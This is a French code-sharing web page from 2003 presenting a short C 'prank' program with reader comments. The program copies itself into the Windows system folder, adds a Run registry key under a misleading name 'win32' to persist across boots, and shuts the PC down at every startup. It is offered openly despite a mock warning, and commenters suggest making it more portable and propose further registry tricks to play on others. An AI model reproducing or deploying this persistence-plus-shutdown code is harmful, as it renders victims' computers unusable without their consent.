begin process at 2012 05 27 21:00:13
  Trouver un code source :
 
dans
 
Accueil > 

Code

 > 

Divers

 > TOURNEZ MANEGE ...

TOURNEZ MANEGE ...


 Information sur la source

Note :
1 / 10 - par 1 personne
1,00 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10
Catégorie :Divers Niveau :Débutant Date de création :19/04/2003 Date de mise à jour :19/04/2003 21:28:10 Vu :2 549

Auteur : zinotron

Ecrire un message privé
Commentaire sur cette source (11)
Ajouter un commentaire et/ou une note

 Description

comment enteindre le pc des qu'il demarre.
ca cre une clef dans la base de registre et pis apres vous savez lire je crois ...
ATTENTION !!!! ne pas executer ce programme !!!!!!
en cas de pbl :
1° booter sur un cd ou une disquette puis virer la clef et dans msconfig.exe menu demarrer virrer le truc mechant
2° mettre votre DD en slave sur un autre pc puis apresavoir sauvegarder vos donnés, tirer a bout portant dans le dd :p
3° je vois po ... mais ya surement :p

Source

  • #include <stdlib.h>
  • #include <windows.h>
  • void main()
  • {
  • HKEY key;
  • char windobedir[81];
  • char *progdir;
  • GetWindowsDirectory(windobedir,50);
  • progdir = GetCommandLine();
  • strcat(windobedir,"\\system\\akadir.exe");
  • if(strcmp(progdir,windobedir) != 0)
  • CopyFile(progdir,windobedir,FALSE);
  • RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_ALL_ACCESS,&key);
  • RegSetValueEx(key,"win32",0,REG_SZ,(LPBYTE) windobedir,strlen(windobedir));
  • RegCloseKey(key);
  • system("c:\\windows\\rundll32.exe c:\\windows\\user.exe,exitWindows"); // c'est cette ligne la qui est mechante !
  • }
#include <stdlib.h>
#include <windows.h>

void main()
{

	HKEY key;
	char windobedir[81];	
	char *progdir;
	
	GetWindowsDirectory(windobedir,50);
	progdir = GetCommandLine();
	strcat(windobedir,"\\system\\akadir.exe");
	if(strcmp(progdir,windobedir) != 0)
	CopyFile(progdir,windobedir,FALSE);
	RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_ALL_ACCESS,&key);
	RegSetValueEx(key,"win32",0,REG_SZ,(LPBYTE) windobedir,strlen(windobedir));
	RegCloseKey(key);
	system("c:\\windows\\rundll32.exe c:\\windows\\user.exe,exitWindows"); // c'est cette ligne la qui est mechante !
}

 Conclusion

JE ME DEGAGE DE TOUTE RESPONSABILITE EN CAS DE CRASH DE VOTRE PC ! vous etes au moins au courant :p


 Sources du même auteur

STRING COMPARE
TRIE UN TABLAU D'ENTIER
INT ARGC, INT *ARGV[]
EXEMPLE (TOUT BETE) DE CLASS POUR LES NEOPHYTES
METTRE LE RESULTAT D'UNE COMMANDE DOS DANS UN FICHIER

 Sources de la même categorie

Source avec Zip KISIEL CD INFO DRIVE par kisiel0147852
Source avec une capture SUPPRESSION DES REDONDANCES DE FICHIERS par cyberntique
Source avec Zip ÉDITEUR DE RECTANGLES EN CONSOLE par seoseo
CONVERSION DE FICHIER EN FICHIER BMP par seoseo
Source avec Zip DETECTEUR EJP par idpro

Commentaires et avis

Commentaire de Kirua le 20/04/2003 20:12:33

lol, c commique ton truc :-P
t sur qu'y a pas une sorte de regedit pour ms-dos? ce serait vache dis donc :-P

y a un autre moyen de faire ch*** par base de registre: la clef qui "dis" à windows comment lancer les exécutables. J'ai eu le coup en voulatn désinfecter le pc de qq un. sur symantec.com ils disaient de changer cette clef par uen autre donnée qu'ils précisaient. plei nde confiance, j'ai donc modifié la valeur, j'ai ensuite fermé regedit et j'ai redémarré. histoire de voir ci le pc était tjs infecté. ben du coup, plus moyen de lancer aucun exe: donc pas regedit (:-P méchant hein), pas le restaurateur de système, pas ... rien du tout!)

enfin, après 1h j'ai trouvé la

Commentaire de Kirua le 20/04/2003 20:13:43

lol, c commique ton truc :-P
t sur qu'y a pas une sorte de regedit pour ms-dos? ce serait vache dis donc :-P

y a un autre moyen de faire ch*** par base de registre: la clef qui "dis" à windows comment lancer les exécutables. J'ai eu le coup en voulatn désinfecter le pc de qq un. sur symantec.com ils disaient de changer cette clef par uen autre donnée qu'ils précisaient. plei nde confiance, j'ai donc modifié la valeur, j'ai ensuite fermé regedit et j'ai redémarré. histoire de voir ci le pc était tjs infecté. ben du coup, plus moyen de lancer aucun exe: donc pas regedit (:-P méchant hein), pas le restaurateur de système, pas ... rien du tout!)

enfin, après 1h j'ai trouvé la soluce: avec un fichier .reg! ils ne sont pas exécutés apparemment, mais "interprêtés" disons par windows.

je vais tâcher de remettre la main sur le nom de cette clef et je la posterai ici. comme ça si qq un veut faire une farce ^^.

enfin, écrivez d'abord le reg, histoire d'être sur que ça marche.

Commentaire de Kirua le 21/04/2003 00:43:10

eeerf, je trouve plus :-(

Commentaire de zinotron le 21/04/2003 01:13:50

po rave ....

Commentaire de Kirua le 21/04/2003 12:33:46

mais je repose la question, ça existe pas un regedit pour dos? c peu probable puisque dos n'est pas windows et que la bdr c pr windows, mais tt de même, si j'avais la blague, ...

Commentaire de retaks666 le 21/04/2003 13:05:23

le pb, c ke tu devruas faire:
char cmdline[]= windobedir+"rundll32.exe "+windobedir+"user.exe,exitWindows";
system(cmdline);
car, moi, mon espace est partitioné par exemple.. donc mon widiws est dans D, et non dans C, comme sa c bon pr tout le monde :)
NB: je c pas si ma ligne marche.. dans le cas contraire, tu peut utiliser strcpy(,)

Commentaire de Kaid le 22/04/2003 00:45:25

Ta 'ligne' ne 'marche' absolument pas en C retaks666.

Commentaire de Kirua le 22/04/2003 00:46:35

ben parce qu'il veut concaténer des char avec l'opérateur +, ça ne va pas (forcément)

Commentaire de prokev le 22/04/2003 03:24:39

AHHH t'es vraiment diabolique... mais ca reste que c'est trippant!

Commentaire de retaks666 le 22/04/2003 16:27:15

enfin, apres reflexion.. je me dit ke vu ke rundll32 et user.exe etant dees composant de windows, leur chemein peut etre omis.. comme par exemple ds executer, on peut remplacer c:windowscmd.exe par cmd :

Commentaire de retaks666 le 22/04/2003 16:27:23

enfin, apres reflexion.. je me dit ke vu ke rundll32 et user.exe etant dees composant de windows, leur chemein peut etre omis.. comme par exemple ds executer, on peut remplacer c:windowscmd.exe par cmd :)

 Ajouter un commentaire




Nos sponsors


Sondage...

CalendriCode

Mai 2012
LMMJVSD
 123456
78910111213
14151617181920
21222324252627
28293031   

Consulter la suite du CalendriCode

A découvrir



 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 0,468 sec (3)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales